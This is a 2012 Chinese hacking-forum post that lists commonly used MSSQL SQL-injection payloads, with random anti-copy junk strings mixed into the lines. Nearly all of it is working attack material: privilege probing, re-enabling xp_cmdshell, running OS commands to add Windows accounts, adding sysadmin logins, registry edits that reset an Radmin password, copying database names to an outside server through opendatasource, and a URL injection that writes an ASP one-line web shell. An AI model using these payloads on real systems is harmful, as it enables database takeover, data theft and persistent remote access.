找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2269|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的( f& s( s. ^, q( z2 ?
and 1=(Select IS_MEMBER('db_owner'))1 S0 y) G0 k0 [3 Y7 w
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
5 x, D$ A5 ?$ E7 x
! {& R' }; L# @$ y6 `2 U; E- I//检测是否有读取某数据库的权限
6 ~: x+ V* `. e. i$ V5 mand 1= (Select HAS_DBACCESS('master'))
$ x  ?) _$ G- M* RAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --2 D& |! ^  W- U' g( e7 X

! R2 W7 b1 K7 ]& o! X
5 x  H5 B9 P/ C3 Y. J; w) ?3 u数字类型
  D2 U. N! e4 q% e$ @and char(124)%2Buser%2Bchar(124)=0; s" q. X- l, v: \6 M# a

# f+ O; V$ I. l" U: a) ~) p( Z字符类型
# s9 h" U: l& k. j8 R' and char(124)%2Buser%2Bchar(124)=0 and ''='
* d; a9 [6 G  \) I1 ]* J" i0 I
  [" q: }6 n' L* t搜索类型
2 `: a# H3 t* R' and char(124)%2Buser%2Bchar(124)=0 and '%'='
/ D+ o! L+ P# H; R! f5 l/ M, b% `1 P/ g
爆用户名
2 [' P+ D( f, y. d7 H& q; Q' Cand user>0- g' x" l, b# K0 F
' and user>0 and ''='2 N% R- h% ]* d/ Q' k2 }. w4 O$ F
8 q0 q; k  C0 R' R
检测是否为SA权限. {' `6 A+ Q  |8 w$ A: W5 c4 w- {
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& s/ Y7 ~/ m5 A! x- r$ TAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --. v1 d6 ~% i2 X& S

2 v- d9 t, W- w3 e) _检测是不是MSSQL数据库* @% D  y) p' `2 S+ V) C
and exists (select * from sysobjects);--5 Q$ f  c& P, ^7 N$ D% V& X( ?
" i7 B) s0 W; T4 z/ h5 m8 `
检测是否支持多行
% ?2 d) K5 l2 U;declare @d int;--: n& P3 L7 J* G3 ^' J$ y8 F

' o9 @3 B& e  u9 a6 g2 w! r恢复 xp_cmdshell) T/ _. ]' j# r( D3 X' @8 Y
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--& H( n# i3 |2 S) q

  @2 ]4 ]' t5 K% o
: A4 K3 v2 g$ s% v% _9 vselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'). M2 j6 M' E+ ~0 F; h( x
# H* u$ v5 \9 `8 S& _% ^& k
//-----------------------4 `' ?6 T: c- @* B8 E1 p) Y
//       执行命令
- I# Z5 c9 W$ J. @- R//-----------------------6 d$ Y3 q7 c$ B, z% @
首先开启沙盘模式:4 q/ {  T' O1 `# o
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
3 J; ?: E& g* @, T6 [' E7 s8 @* `2 d
然后利用jet.oledb执行系统命令
1 H+ |- v' |, n' h4 q" }9 Vselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
! f" g: _3 x# O
9 {3 H( A* p9 ^7 c5 G; T执行命令/ C: g) H1 d' }% P7 a- r
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
2 t" M3 U, x9 C5 f7 P( z7 I# B: Y& \& A! U8 q/ m8 ]
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ C' z# d3 r0 i- {6 j( V% I4 A2 t( \* d& |) d; j
判断xp_cmdshell扩展存储过程是否存在:) u  |; J* w  M: J4 j, p
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 S# u6 ^& |9 Z& [# v$ i. G* h
. N/ n( l3 [% C* }写注册表
0 S6 w+ I3 O" X( U+ w6 k! F2 w# kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
' C  s; I5 R! b5 A4 l( ^" g
7 C$ i5 d1 ^2 [1 iREG_SZ3 G: T1 g. t+ a- h. G& F

1 {8 {+ N5 A: a+ W* `0 H: I  v读注册表& [0 _) I* R- p& M: C
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'0 a  f/ M) K; v3 R( X
# p- r" B3 e. T; Y; f! \2 _$ [
读取目录内容
' r" t& s( p# @( Z& T( i5 L7 Hexec master..xp_dirtree 'c:\winnt\system32\',1,1
( q8 h4 ^0 S1 Q+ p# I
9 g: O# [8 r  z8 |" m
- M1 P& Z; G+ I  j5 a" v数据库备份2 q% L2 u; a4 J) `& F1 _
backup database pubs to disk = 'c:\123.bak'
6 R- F2 ?( Y( u  e( K
7 E3 h: ?; z' h. v" p9 m4 a# Y% }//爆出长度: M3 t. Q1 I1 ]9 W4 U3 {
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--! E2 e- W( E4 V

1 I+ j$ [! M* ~7 E: n$ q0 c( q* j
6 {( Q. b7 i1 W1 Y; y2 \: f( X$ d2 x
更改sa口令方法:用sql综合利用工具连接后,执行命令:
& i. d* D! H/ T0 f9 r- j% e8 Dexec sp_password NULL,'新密码','sa'
! y, {2 x8 w3 q2 ~* q9 P/ m( X# C) w& q! f* E5 a
添加和删除一个SA权限的用户test:& x  p0 {% G* p! ~
exec master.dbo.sp_addlogin test,9530772
( v+ s9 U2 ]- t% {exec master.dbo.sp_addsrvrolemember test,sysadmin" l3 Y: c# |$ U" Q4 J

/ ]/ T' y& W7 M  N) _: r删除扩展存储过过程xp_cmdshell的语句:
. J3 G# U+ V- S" Z' d. Dexec sp_dropextendedproc 'xp_cmdshell'
. w$ P* _- h, }% r6 X0 P& \4 x
( U! t- v* r) o  Q添加扩展存储过过程* s$ C9 [% X9 y  j. b
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'; x( a8 L( W1 f, K  {/ u' ~
GRANT exec On xp_proxiedadata TO public
- q5 l3 B3 }5 d: V; B7 W( `( Q( D& n4 _8 |2 ^

: `& U: D8 a3 l$ _停掉或激活某个服务。
5 H# m9 Y+ A) |2 z: N6 {! g' v: S2 X- C/ {- e1 @
exec master..xp_servicecontrol 'stop','schedule'  D3 h1 o! r+ W! a2 A) [
exec master..xp_servicecontrol 'start','schedule'; V3 U& ~8 y+ @! E
; p* k% P7 b( B. K/ O/ S
dbo.xp_subdirs
8 T, w1 L0 K! G' H/ [4 |2 g( e. v% b
3 D6 H7 }9 v6 e/ L+ V& R5 J只列某个目录下的子目录。8 }& `$ l) B+ H$ u  x' p. [6 u
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'& _1 C# ?% d- K2 m" x5 T) [# O$ P

; ~$ t$ ]- b$ z- X, d2 Z$ Bdbo.xp_makecab8 m$ |. Z% q# Y& C# O9 C

4 K" ^' w1 j# l- a将目标多个档案压缩到某个目标档案之内。7 C8 D/ m. f4 J5 t  j
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
# l# M' R- [2 g. O# B8 u1 q' [/ J# T2 W: b
dbo.xp_makecab
3 ~! x/ {; Z) H% e7 `'c:\test.cab','mszip',1,
) Z! ]9 S1 |5 T7 O! d'C:\Inetpub\wwwroot\SQLInject\login.asp',% V) _, h' }: p: y5 B4 e
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
8 X( V5 J' U& p2 C! c  L; M( q6 |8 B6 A2 R* C: A1 z
xp_terminate_process
) n" G8 r5 k1 c
- ?1 }+ x  G8 b停掉某个执行中的程序,但赋予的参数是 Process ID。% r4 V; D( d$ d9 p
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID0 t( `. q8 V: L- k0 U3 [

5 P+ h' {" v% W3 Yxp_terminate_process 2484
( J3 u1 H; f; w( ]& D
1 L/ Y; Q& @  {. gxp_unpackcab1 b: a% r) G, p- p& I) ~" P
+ D- f/ |  t% ]* F" b; Y4 Z
解开压缩档。( E3 ]& ^$ c, d; u6 {
* i+ k( V" v3 M7 I7 P. U2 ?0 g
xp_unpackcab 'c:\test.cab','c:\temp',18 S& ~, t+ M9 w) I

, F" t2 j7 T9 v2 w" R" @! b% |# u  v4 o- F, F, }
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234* Y; ?; l/ ~: C' g) b

  p+ G7 {7 Y3 Y0 |create database lcx;0 q. ^9 l1 d9 m0 ~/ l6 ]% J
Create TABLE ku(name nvarchar(256) null);
/ V& Y4 z/ T6 X% DCreate TABLE biao(id int NULL,name nvarchar(256) null);
% u; S+ R- m/ ]1 L$ S- n0 X
, T1 i6 p/ g' @/ Z5 W//得到数据库名1 P' T+ O; D* Y0 ~
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
, ?5 g) b: h7 a; [( a" a" ~
+ b6 F5 b7 z9 y' y" @, R+ [7 G, p; a- S- C9 J  z$ i
//在Master中创建表,看看权限怎样
9 y( D# Z( u9 r. C) L& nCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
0 P3 J9 a6 D6 J% d
( T1 N7 d2 ]& V+ U3 \% W9 s用 sp_makewebtask直接在web目录里写入一句话马:4 k$ n- ?# h$ O# O
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
+ T: V* r( T+ K8 U7 }9 I8 @8 c0 _
7 e0 K+ _: H) W* ~) b( S0 ^3 \( s//更新表内容
* e' H8 `  l# A' i% d" IUpdate films SET kind = 'Dramatic' Where id = 123
7 |8 q1 n6 M+ w( v
# U& f$ J. j' U6 v) a4 ~% m( }//删除内容/ K( ?( `% N- k6 T/ T
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表